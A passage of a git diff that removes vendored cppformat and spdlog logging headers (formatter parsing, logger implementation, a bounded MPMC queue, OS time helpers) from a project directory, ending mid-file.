inline ReturnType func(FMT_FOR_EACH(FMT_ADD_ARG_NAME, __VA_ARGS__), \ - FMT_GEN(n, FMT_MAKE_ARG)) { \ - fmt::internal::ArgArray::Type arr; \ - FMT_GEN(n, FMT_ASSIGN_##Char); \ - call(FMT_FOR_EACH(FMT_GET_ARG_NAME, __VA_ARGS__), \ - fmt::ArgList(fmt::internal::make_type(FMT_GEN(n, FMT_MAKE_REF2)), arr)); \ - } - -#define FMT_VARIADIC_(Char, ReturnType, func, call, ...) \ - inline ReturnType func(FMT_FOR_EACH(FMT_ADD_ARG_NAME, __VA_ARGS__)) { \ - call(FMT_FOR_EACH(FMT_GET_ARG_NAME, __VA_ARGS__), fmt::ArgList()); \ - } \ - FMT_WRAP(Char, ReturnType, func, call, 1, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 2, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 3, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 4, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 5, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 6, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 7, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 8, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 9, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 10, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 11, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 12, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 13, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 14, __VA_ARGS__) \ - FMT_WRAP(Char, ReturnType, func, call, 15, __VA_ARGS__) -#endif // FMT_USE_VARIADIC_TEMPLATES - -/** -\rst -Defines a variadic function with the specified return type, function name -and argument types passed as variable arguments to this macro. - -**Example**:: - -void print_error(const char *file, int line, const char *format, -fmt::ArgList args) { -fmt::print("{}: {}: ", file, line); -fmt::print(format, args); -} -FMT_VARIADIC(void, print_error, const char *, int, const char *) - -``FMT_VARIADIC`` is used for compatibility with legacy C++ compilers that -don't implement variadic templates. You don't have to use this macro if -you don't need legacy compiler support and can use variadic templates -directly:: - -template -void print_error(const char *file, int line, const char *format, -const Args & ... args) { -fmt::print("{}: {}: ", file, line); -fmt::print(format, args...); -} -\endrst -*/ -#define FMT_VARIADIC(ReturnType, func, ...) \ - FMT_VARIADIC_(char, ReturnType, func, return func, __VA_ARGS__) - -#define FMT_VARIADIC_W(ReturnType, func, ...) \ - FMT_VARIADIC_(wchar_t, ReturnType, func, return func, __VA_ARGS__) - -#define FMT_CAPTURE_ARG_(id, index) ::fmt::arg(#id, id) - -#define FMT_CAPTURE_ARG_W_(id, index) ::fmt::arg(L## #id, id) - -/** -\rst -Convenient macro to capture the arguments' names and values into several -``fmt::arg(name, value)``. - -**Example**:: - -int x = 1, y = 2; -print("point: ({x}, {y})", FMT_CAPTURE(x, y)); -// same as: -// print("point: ({x}, {y})", arg("x", x), arg("y", y)); - -\endrst -*/ -#define FMT_CAPTURE(...) FMT_FOR_EACH(FMT_CAPTURE_ARG_, __VA_ARGS__) - -#define FMT_CAPTURE_W(...) FMT_FOR_EACH(FMT_CAPTURE_ARG_W_, __VA_ARGS__) - -namespace fmt { -FMT_VARIADIC(std::string, format, CStringRef) -FMT_VARIADIC_W(std::wstring, format, WCStringRef) -FMT_VARIADIC(void, print, CStringRef) -FMT_VARIADIC(void, print, std::FILE*, CStringRef) - -FMT_VARIADIC(void, print_colored, Color, CStringRef) -FMT_VARIADIC(std::string, sprintf, CStringRef) -FMT_VARIADIC_W(std::wstring, sprintf, WCStringRef) -FMT_VARIADIC(int, printf, CStringRef) -FMT_VARIADIC(int, fprintf, std::FILE*, CStringRef) - -#if FMT_USE_IOSTREAMS -/** -\rst -Prints formatted data to the stream *os*. - -**Example**:: - -print(cerr, "Don't {}!", "panic"); -\endrst -*/ -FMT_API void print(std::ostream& os, CStringRef format_str, ArgList args); -FMT_VARIADIC(void, print, std::ostream&, CStringRef) -#endif - -namespace internal { -template -inline bool -is_name_start(Char c) { - return ('a' <= c && c <= 'z') || ('A' <= c && c <= 'Z') || '_' == c; -} - -// Parses an unsigned integer advancing s to the end of the parsed input. -// This function assumes that the first character of s is a digit. -template -int -parse_nonnegative_int(const Char*& s) { - assert('0' <= *s && *s <= '9'); - unsigned value = 0; - do { - unsigned new_value = value * 10 + (*s++ - '0'); - // Check if value wrapped around. - if (new_value < value) { - value = (std::numeric_limits::max)(); - break; - } - value = new_value; - } while ('0' <= *s && *s <= '9'); - // Convert to unsigned to prevent a warning. - unsigned max_int = (std::numeric_limits::max)(); - if (value > max_int) FMT_THROW(FormatError("number is too big")); - return value; -} - -inline void -require_numeric_argument(const Arg& arg, char spec) { - if (arg.type > Arg::LAST_NUMERIC_TYPE) { - std::string message = fmt::format("format specifier '{}' requires numeric argument", spec); - FMT_THROW(fmt::FormatError(message)); - } -} - -template -void -check_sign(const Char*& s, const Arg& arg) { - char sign = static_cast(*s); - require_numeric_argument(arg, sign); - if (arg.type == Arg::UINT || arg.type == Arg::ULONG_LONG) { - FMT_THROW(FormatError(fmt::format("format specifier '{}' requires signed argument", sign))); - } - ++s; -} -} // namespace internal - -template -inline internal::Arg -BasicFormatter::get_arg(BasicStringRef arg_name, const char*& error) { - if (check_no_auto_index(error)) { - map_.init(args()); - const internal::Arg* arg = map_.find(arg_name); - if (arg) return *arg; - error = "argument not found"; - } - return internal::Arg(); -} - -template -inline internal::Arg -BasicFormatter::parse_arg_index(const Char*& s) { - const char* error = 0; - internal::Arg arg = - *s < '0' || *s > '9' ? next_arg(error) : get_arg(internal::parse_nonnegative_int(s), error); - if (error) { FMT_THROW(FormatError(*s != '}' && *s != ':' ? "invalid format string" : error)); } - return arg; -} - -template -inline internal::Arg -BasicFormatter::parse_arg_name(const Char*& s) { - assert(internal::is_name_start(*s)); - const Char* start = s; - Char c; - do { c = *++s; } while (internal::is_name_start(c) || ('0' <= c && c <= '9')); - const char* error = 0; - internal::Arg arg = get_arg(BasicStringRef(start, s - start), error); - if (error) FMT_THROW(FormatError(error)); - return arg; -} - -// Should be after FormatSpec -template -const Char* -BasicFormatter::format(const Char*& format_str, const internal::Arg& arg) { - using internal::Arg; - const Char* s = format_str; - FormatSpec spec; - if (*s == ':') { - if (arg.type == Arg::CUSTOM) { - arg.custom.format(this, arg.custom.value, &s); - return s; - } - ++s; - // Parse fill and alignment. - if (Char c = *s) { - const Char* p = s + 1; - spec.align_ = ALIGN_DEFAULT; - do { - switch (*p) { - case '<': spec.align_ = ALIGN_LEFT; break; - case '>': spec.align_ = ALIGN_RIGHT; break; - case '=': spec.align_ = ALIGN_NUMERIC; break; - case '^': spec.align_ = ALIGN_CENTER; break; - } - if (spec.align_ != ALIGN_DEFAULT) { - if (p != s) { - if (c == '}') break; - if (c == '{') FMT_THROW(FormatError("invalid fill character '{'")); - s += 2; - spec.fill_ = c; - } else - ++s; - if (spec.align_ == ALIGN_NUMERIC) require_numeric_argument(arg, '='); - break; - } - } while (--p >= s); - } - - // Parse sign. - switch (*s) { - case '+': - check_sign(s, arg); - spec.flags_ |= SIGN_FLAG | PLUS_FLAG; - break; - case '-': - check_sign(s, arg); - spec.flags_ |= MINUS_FLAG; - break; - case ' ': - check_sign(s, arg); - spec.flags_ |= SIGN_FLAG; - break; - } - - if (*s == '#') { - require_numeric_argument(arg, '#'); - spec.flags_ |= HASH_FLAG; - ++s; - } - - // Parse zero flag. - if (*s == '0') { - require_numeric_argument(arg, '0'); - spec.align_ = ALIGN_NUMERIC; - spec.fill_ = '0'; - ++s; - } - - // Parse width. - if ('0' <= *s && *s <= '9') { - spec.width_ = internal::parse_nonnegative_int(s); - } else if (*s == '{') { - ++s; - Arg width_arg = internal::is_name_start(*s) ? parse_arg_name(s) : parse_arg_index(s); - if (*s++ != '}') FMT_THROW(FormatError("invalid format string")); - ULongLong value = 0; - switch (width_arg.type) { - case Arg::INT: - if (width_arg.int_value < 0) FMT_THROW(FormatError("negative width")); - value = width_arg.int_value; - break; - case Arg::UINT: value = width_arg.uint_value; break; - case Arg::LONG_LONG: - if (width_arg.long_long_value < 0) FMT_THROW(FormatError("negative width")); - value = width_arg.long_long_value; - break; - case Arg::ULONG_LONG: value = width_arg.ulong_long_value; break; - default: FMT_THROW(FormatError("width is not integer")); - } - if (value > (std::numeric_limits::max)()) - FMT_THROW(FormatError("number is too big")); - spec.width_ = static_cast(value); - } - - // Parse precision. - if (*s == '.') { - ++s; - spec.precision_ = 0; - if ('0' <= *s && *s <= '9') { - spec.precision_ = internal::parse_nonnegative_int(s); - } else if (*s == '{') { - ++s; - Arg precision_arg = - internal::is_name_start(*s) ? parse_arg_name(s) : parse_arg_index(s); - if (*s++ != '}') FMT_THROW(FormatError("invalid format string")); - ULongLong value = 0; - switch (precision_arg.type) { - case Arg::INT: - if (precision_arg.int_value < 0) FMT_THROW(FormatError("negative precision")); - value = precision_arg.int_value; - break; - case Arg::UINT: value = precision_arg.uint_value; break; - case Arg::LONG_LONG: - if (precision_arg.long_long_value < 0) - FMT_THROW(FormatError("negative precision")); - value = precision_arg.long_long_value; - break; - case Arg::ULONG_LONG: value = precision_arg.ulong_long_value; break; - default: FMT_THROW(FormatError("precision is not integer")); - } - if (value > (std::numeric_limits::max)()) - FMT_THROW(FormatError("number is too big")); - spec.precision_ = static_cast(value); - } else { - FMT_THROW(FormatError("missing precision specifier")); - } - if (arg.type <= Arg::LAST_INTEGER_TYPE || arg.type == Arg::POINTER) { - FMT_THROW( - FormatError(fmt::format("precision not allowed in {} format specifier", - arg.type == Arg::POINTER ? "pointer" : "integer"))); - } - } - - // Parse type. - if (*s != '}' && *s) spec.type_ = static_cast(*s++); - } - - if (*s++ != '}') FMT_THROW(FormatError("missing '}' in format string")); - - // Format argument. - internal::BasicArgFormatter(*this, spec, s - 1).visit(arg); - return s; -} - -template -void -BasicFormatter::format(BasicCStringRef format_str) { - const Char* s = format_str.c_str(); - const Char* start = s; - while (*s) { - Char c = *s++; - if (c != '{' && c != '}') continue; - if (*s == c) { - write(writer_, start, s); - start = ++s; - continue; - } - if (c == '}') FMT_THROW(FormatError("unmatched '}' in format string")); - write(writer_, start, s - 1); - internal::Arg arg = internal::is_name_start(*s) ? parse_arg_name(s) : parse_arg_index(s); - start = s = format(s, arg); - } - write(writer_, start, s); -} -} // namespace fmt - -#if FMT_USE_USER_DEFINED_LITERALS -namespace fmt { -namespace internal { - -template -struct UdlFormat { - const Char* str; - - template - auto operator()(Args&&... args) const -> decltype(format(str, std::forward(args)...)) { - return format(str, std::forward(args)...); - } -}; - -template -struct UdlArg { - const Char* str; - - template - NamedArg operator=(T&& value) const { - return { str, std::forward(value) }; - } -}; - -} // namespace internal - -inline namespace literals { -/** -\rst -C++11 literal equivalent of :func:`fmt::format`. - -**Example**:: - -using namespace fmt::literals; -std::string message = "The answer is {}"_format(42); -\endrst -*/ -inline internal::UdlFormat operator"" _format(const char* s, std::size_t) { return { s }; } -inline internal::UdlFormat operator"" _format(const wchar_t* s, std::size_t) { - return { s }; -} - -/** -\rst -C++11 literal equivalent of :func:`fmt::arg`. - -**Example**:: - -using namespace fmt::literals; -print("Elapsed time: {s:.2f} seconds", "s"_a=1.23); -\endrst -*/ -inline internal::UdlArg operator"" _a(const char* s, std::size_t) { return { s }; } -inline internal::UdlArg operator"" _a(const wchar_t* s, std::size_t) { return { s }; } - -} // inline namespace literals -} // namespace fmt -#endif // FMT_USE_USER_DEFINED_LITERALS - -// Restore warnings. -#if FMT_GCC_VERSION >= 406 -#pragma GCC diagnostic pop -#endif - -#if defined(__clang__) && !defined(__INTEL_COMPILER) -#pragma clang diagnostic pop -#endif - -#ifdef FMT_HEADER_ONLY -#include "format.cc" -#endif - -#endif // FMT_FORMAT_H_ \ No newline at end of file diff --git a/cameradar_standalone/include/spdlog/details/line_logger.h b/cameradar_standalone/include/spdlog/details/line_logger.h deleted file mode 100644 index 6730d45..0000000 --- a/cameradar_standalone/include/spdlog/details/line_logger.h +++ /dev/null @@ -1,156 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// -#pragma once -#include -#include "../common.h" -#include "../logger.h" - -// Line logger class - aggregates operator<< calls to fast ostream -// and logs upon destruction - -namespace spdlog { -namespace details { -class line_logger { -public: - line_logger(logger* callback_logger, level::level_enum msg_level, bool enabled) - : _callback_logger(callback_logger), _log_msg(msg_level), _enabled(enabled) {} - - // No copy intended. Only move - line_logger(const line_logger& other) = delete; - line_logger& operator=(const line_logger&) = delete; - line_logger& operator=(line_logger&&) = delete; - - line_logger(line_logger&& other) - : _callback_logger(other._callback_logger) - , _log_msg(std::move(other._log_msg)) - , _enabled(other._enabled) { - other.disable(); - } - - // Log the log message using the callback logger - ~line_logger() { - if (_enabled) { -#ifndef SPDLOG_NO_NAME - _log_msg.logger_name = _callback_logger->name(); -#endif -#ifndef SPDLOG_NO_DATETIME - _log_msg.time = os::now(); -#endif - -#ifndef SPDLOG_NO_THREAD_ID - _log_msg.thread_id = os::thread_id(); -#endif - _callback_logger->_log_msg(_log_msg); - } - } - - // - // Support for format string with variadic args - // - - void - write(const char* what) { - if (_enabled) _log_msg.raw << what; - } - - template - void - write(const char* fmt, const Args&... args) { - if (!_enabled) return; - try { - _log_msg.raw.write(fmt, args...); - } catch (const fmt::FormatError& e) { - throw spdlog_ex(fmt::format( - "formatting error while processing format string '{}': {}", fmt, e.what())); - } - } - - // - // Support for operator<< - // - line_logger& operator<<(const char* what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(const std::string& what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(int what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(unsigned int what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(long what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(unsigned long what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(long long what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(unsigned long long what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(double what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(long double what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(float what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - line_logger& operator<<(char what) { - if (_enabled) _log_msg.raw << what; - return *this; - } - - // Support user types which implements operator<< - template - line_logger& operator<<(const T& what) { - if (_enabled) _log_msg.raw.write("{}", what); - return *this; - } - - void - disable() { - _enabled = false; - } - - bool - is_enabled() const { - return _enabled; - } - -private: - logger* _callback_logger; - log_msg _log_msg; - bool _enabled; -}; -} // Namespace details -} // Namespace spdlog diff --git a/cameradar_standalone/include/spdlog/details/log_msg.h b/cameradar_standalone/include/spdlog/details/log_msg.h deleted file mode 100644 index bae2fb2..0000000 --- a/cameradar_standalone/include/spdlog/details/log_msg.h +++ /dev/null @@ -1,79 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include "../common.h" -#include "./format.h" - -namespace spdlog -{ -namespace details -{ -struct log_msg -{ - log_msg() = default; - log_msg(level::level_enum l): - logger_name(), - level(l), - raw(), - formatted() {} - - - log_msg(const log_msg& other) : - logger_name(other.logger_name), - level(other.level), - time(other.time), - thread_id(other.thread_id) - { - if (other.raw.size()) - raw << fmt::BasicStringRef(other.raw.data(), other.raw.size()); - if (other.formatted.size()) - formatted << fmt::BasicStringRef(other.formatted.data(), other.formatted.size()); - } - - log_msg(log_msg&& other) : - logger_name(std::move(other.logger_name)), - level(other.level), - time(std::move(other.time)), - thread_id(other.thread_id), - raw(std::move(other.raw)), - formatted(std::move(other.formatted)) - { - other.clear(); - } - - log_msg& operator=(log_msg&& other) - { - if (this == &other) - return *this; - - logger_name = std::move(other.logger_name); - level = other.level; - time = std::move(other.time); - thread_id = other.thread_id; - raw = std::move(other.raw); - formatted = std::move(other.formatted); - other.clear(); - return *this; - } - - void clear() - { - level = level::off; - raw.clear(); - formatted.clear(); - } - - std::string logger_name; - level::level_enum level; - log_clock::time_point time; - size_t thread_id; - fmt::MemoryWriter raw; - fmt::MemoryWriter formatted; -}; -} -} diff --git a/cameradar_standalone/include/spdlog/details/logger_impl.h b/cameradar_standalone/include/spdlog/details/logger_impl.h deleted file mode 100644 index 7f0171e..0000000 --- a/cameradar_standalone/include/spdlog/details/logger_impl.h +++ /dev/null @@ -1,299 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include "./line_logger.h" - -// create logger with given name, sinks and the default pattern formatter -// all other ctors will call this one -template -inline spdlog::logger::logger(const std::string& logger_name, const It& begin, const It& end) : - _name(logger_name), - _sinks(begin, end), - _formatter(std::make_shared("%+")) -{ - - // no support under vs2013 for member initialization for std::atomic - _level = level::info; -} - -// ctor with sinks as init list -inline spdlog::logger::logger(const std::string& logger_name, sinks_init_list sinks_list) : - logger(logger_name, sinks_list.begin(), sinks_list.end()) {} - - -// ctor with single sink -inline spdlog::logger::logger(const std::string& logger_name, spdlog::sink_ptr single_sink) : - logger(logger_name, -{ - single_sink -}) {} - - -inline spdlog::logger::~logger() = default; - - -inline void spdlog::logger::set_formatter(spdlog::formatter_ptr msg_formatter) -{ - _set_formatter(msg_formatter); -} - -inline void spdlog::logger::set_pattern(const std::string& pattern) -{ - _set_pattern(pattern); -} - -// -// log only if given level>=logger's log level -// - - -template -inline spdlog::details::line_logger spdlog::logger::_log_if_enabled(level::level_enum lvl, const char* fmt, const Args&... args) -{ - bool msg_enabled = should_log(lvl); - details::line_logger l(this, lvl, msg_enabled); - l.write(fmt, args...); - return l; -} - -inline spdlog::details::line_logger spdlog::logger::_log_if_enabled(level::level_enum lvl) -{ - return details::line_logger(this, lvl, should_log(lvl)); -} - -template -inline spdlog::details::line_logger spdlog::logger::_log_if_enabled(level::level_enum lvl, const T& msg) -{ - bool msg_enabled = should_log(lvl); - details::line_logger l(this, lvl, msg_enabled); - l << msg; - return l; -} - -// -// logger.info(cppformat_string, arg1, arg2, arg3, ...) call style -// -template -inline spdlog::details::line_logger spdlog::logger::trace(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::trace, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::debug(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::debug, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::info(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::info, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::notice(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::notice, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::warn(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::warn, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::error(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::err, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::critical(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::critical, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::alert(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::alert, fmt, args...); -} - -template -inline spdlog::details::line_logger spdlog::logger::emerg(const char* fmt, const Args&... args) -{ - return _log_if_enabled(level::emerg, fmt, args...); -} - -// -// logger.info(msg) << ".." call style -// -template -inline spdlog::details::line_logger spdlog::logger::trace(const T& msg) -{ - return _log_if_enabled(level::trace, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::debug(const T& msg) -{ - return _log_if_enabled(level::debug, msg); -} - - -template -inline spdlog::details::line_logger spdlog::logger::info(const T& msg) -{ - return _log_if_enabled(level::info, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::notice(const T& msg) -{ - return _log_if_enabled(level::notice, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::warn(const T& msg) -{ - return _log_if_enabled(level::warn, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::error(const T& msg) -{ - return _log_if_enabled(level::err, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::critical(const T& msg) -{ - return _log_if_enabled(level::critical, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::alert(const T& msg) -{ - return _log_if_enabled(level::alert, msg); -} - -template -inline spdlog::details::line_logger spdlog::logger::emerg(const T& msg) -{ - return _log_if_enabled(level::emerg, msg); -} - - - - -// -// logger.info() << ".." call style -// -inline spdlog::details::line_logger spdlog::logger::trace() -{ - return _log_if_enabled(level::trace); -} - -inline spdlog::details::line_logger spdlog::logger::debug() -{ - return _log_if_enabled(level::debug); -} - -inline spdlog::details::line_logger spdlog::logger::info() -{ - return _log_if_enabled(level::info); -} - -inline spdlog::details::line_logger spdlog::logger::notice() -{ - return _log_if_enabled(level::notice); -} - -inline spdlog::details::line_logger spdlog::logger::warn() -{ - return _log_if_enabled(level::warn); -} - -inline spdlog::details::line_logger spdlog::logger::error() -{ - return _log_if_enabled(level::err); -} - -inline spdlog::details::line_logger spdlog::logger::critical() -{ - return _log_if_enabled(level::critical); -} - -inline spdlog::details::line_logger spdlog::logger::alert() -{ - return _log_if_enabled(level::alert); -} - -inline spdlog::details::line_logger spdlog::logger::emerg() -{ - return _log_if_enabled(level::emerg); -} - - -// always log, no matter what is the actual logger's log level -template -inline spdlog::details::line_logger spdlog::logger::force_log(level::level_enum lvl, const char* fmt, const Args&... args) -{ - details::line_logger l(this, lvl, true); - l.write(fmt, args...); - return l; -} - -// -// name and level -// -inline const std::string& spdlog::logger::name() const -{ - return _name; -} - -inline void spdlog::logger::set_level(spdlog::level::level_enum log_level) -{ - _level.store(log_level); -} - -inline spdlog::level::level_enum spdlog::logger::level() const -{ - return static_cast(_level.load(std::memory_order_relaxed)); -} - -inline bool spdlog::logger::should_log(spdlog::level::level_enum msg_level) const -{ - return msg_level >= _level.load(std::memory_order_relaxed); -} - -// -// protected virtual called at end of each user log call (if enabled) by the line_logger -// -inline void spdlog::logger::_log_msg(details::log_msg& msg) -{ - _formatter->format(msg); - for (auto &sink : _sinks) - sink->log(msg); -} - -inline void spdlog::logger::_set_pattern(const std::string& pattern) -{ - _formatter = std::make_shared(pattern); -} -inline void spdlog::logger::_set_formatter(formatter_ptr msg_formatter) -{ - _formatter = msg_formatter; -} - -inline void spdlog::logger::flush() -{ - for (auto& sink : _sinks) - sink->flush(); -} \ No newline at end of file diff --git a/cameradar_standalone/include/spdlog/details/mpmc_bounded_q.h b/cameradar_standalone/include/spdlog/details/mpmc_bounded_q.h deleted file mode 100644 index 26bda5f..0000000 --- a/cameradar_standalone/include/spdlog/details/mpmc_bounded_q.h +++ /dev/null @@ -1,157 +0,0 @@ -/* -A modified version of Bounded MPMC queue by Dmitry Vyukov. - -Original code from: -http://www.1024cores.net/home/lock-free-algorithms/queues/bounded-mpmc-queue - -licensed by Dmitry Vyukov under the terms below: - -Simplified BSD license - -Copyright (c) 2010-2011 Dmitry Vyukov. All rights reserved. -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this list of -conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, this list -of conditions and the following disclaimer in the documentation and/or other materials -provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY DMITRY VYUKOV "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT -SHALL DMITRY VYUKOV OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE -OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF -ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -The views and conclusions contained in the software and documentation are those of the authors and -should not be interpreted as representing official policies, either expressed or implied, of Dmitry Vyukov. -*/ - -/* -The code in its current form adds the license below: - -Copyright(c) 2015 Gabi Melman. -Distributed under the MIT License (http://opensource.org/licenses/MIT) - -*/ - -#pragma once - -#include -#include "../common.h" - -namespace spdlog -{ -namespace details -{ - -template -class mpmc_bounded_queue -{ -public: - - using item_type = T; - mpmc_bounded_queue(size_t buffer_size) - : buffer_(new cell_t [buffer_size]), - buffer_mask_(buffer_size - 1) - { - //queue size must be power of two - if(!((buffer_size >= 2) && ((buffer_size & (buffer_size - 1)) == 0))) - throw spdlog_ex("async logger queue size must be power of two"); - - for (size_t i = 0; i != buffer_size; i += 1) - buffer_[i].sequence_.store(i, std::memory_order_relaxed); - enqueue_pos_.store(0, std::memory_order_relaxed); - dequeue_pos_.store(0, std::memory_order_relaxed); - } - - ~mpmc_bounded_queue() - { - delete [] buffer_; - } - - - bool enqueue(T&& data) - { - cell_t* cell; - size_t pos = enqueue_pos_.load(std::memory_order_relaxed); - for (;;) - { - cell = &buffer_[pos & buffer_mask_]; - size_t seq = cell->sequence_.load(std::memory_order_acquire); - intptr_t dif = (intptr_t)seq - (intptr_t)pos; - if (dif == 0) - { - if (enqueue_pos_.compare_exchange_weak(pos, pos + 1, std::memory_order_relaxed)) - break; - } - else if (dif < 0) - { - return false; - } - else - { - pos = enqueue_pos_.load(std::memory_order_relaxed); - } - } - cell->data_ = std::move(data); - cell->sequence_.store(pos + 1, std::memory_order_release); - return true; - } - - bool dequeue(T& data) - { - cell_t* cell; - size_t pos = dequeue_pos_.load(std::memory_order_relaxed); - for (;;) - { - cell = &buffer_[pos & buffer_mask_]; - size_t seq = - cell->sequence_.load(std::memory_order_acquire); - intptr_t dif = (intptr_t)seq - (intptr_t)(pos + 1); - if (dif == 0) - { - if (dequeue_pos_.compare_exchange_weak(pos, pos + 1, std::memory_order_relaxed)) - break; - } - else if (dif < 0) - return false; - else - pos = dequeue_pos_.load(std::memory_order_relaxed); - } - data = std::move(cell->data_); - cell->sequence_.store(pos + buffer_mask_ + 1, std::memory_order_release); - return true; - } - -private: - struct cell_t - { - std::atomic sequence_; - T data_; - }; - - static size_t const cacheline_size = 64; - typedef char cacheline_pad_t [cacheline_size]; - - cacheline_pad_t pad0_; - cell_t* const buffer_; - size_t const buffer_mask_; - cacheline_pad_t pad1_; - std::atomic enqueue_pos_; - cacheline_pad_t pad2_; - std::atomic dequeue_pos_; - cacheline_pad_t pad3_; - - mpmc_bounded_queue(mpmc_bounded_queue const&); - void operator = (mpmc_bounded_queue const&); -}; - -} // ns details -} // ns spdlog diff --git a/cameradar_standalone/include/spdlog/details/null_mutex.h b/cameradar_standalone/include/spdlog/details/null_mutex.h deleted file mode 100644 index 19e90bf..0000000 --- a/cameradar_standalone/include/spdlog/details/null_mutex.h +++ /dev/null @@ -1,24 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// null, no cost mutex - -namespace spdlog -{ -namespace details -{ -struct null_mutex -{ - void lock() {} - void unlock() {} - bool try_lock() - { - return true; - } -}; -} -} diff --git a/cameradar_standalone/include/spdlog/details/os.h b/cameradar_standalone/include/spdlog/details/os.h deleted file mode 100644 index 30e2f6d..0000000 --- a/cameradar_standalone/include/spdlog/details/os.h +++ /dev/null @@ -1,215 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// -#pragma once - -#include -#include -#include - -#ifdef _WIN32 -# ifndef WIN32_LEAN_AND_MEAN -# define WIN32_LEAN_AND_MEAN -# endif -# include - -#ifdef __MINGW32__ -#include -#endif - -#elif __linux__ -#include //Use gettid() syscall under linux to get thread id -#include -#include -#else -#include -#endif - -#include "../common.h" - -namespace spdlog -{ -namespace details -{ -namespace os -{ - -inline spdlog::log_clock::time_point now() -{ - -#if defined __linux__ && defined SPDLOG_CLOCK_COARSE - timespec ts; - ::clock_gettime(CLOCK_REALTIME_COARSE, &ts); - return std::chrono::time_point( - std::chrono::duration_cast( - std::chrono::seconds(ts.tv_sec) + std::chrono::nanoseconds(ts.tv_nsec))); - - -#else - return log_clock::now(); -#endif - -} -inline std::tm localtime(const std::time_t &time_tt) -{ - -#ifdef _WIN32 - std::tm tm; - localtime_s(&tm, &time_tt); -#else - std::tm tm; - localtime_r(&time_tt, &tm); -#endif - return tm; -} - -inline std::tm localtime() -{ - std::time_t now_t = time(nullptr); - return localtime(now_t); -} - - -inline std::tm gmtime(const std::time_t &time_tt) -{ - -#ifdef _WIN32 - std::tm tm; - gmtime_s(&tm, &time_tt); -#else - std::tm tm; - gmtime_r(&time_tt, &tm); -#endif - return tm; -} - -inline std::tm gmtime() -{ - std::time_t now_t = time(nullptr); - return gmtime(now_t); -} -inline bool operator==(const std::tm& tm1, const std::tm& tm2) -{ - return (tm1.tm_sec == 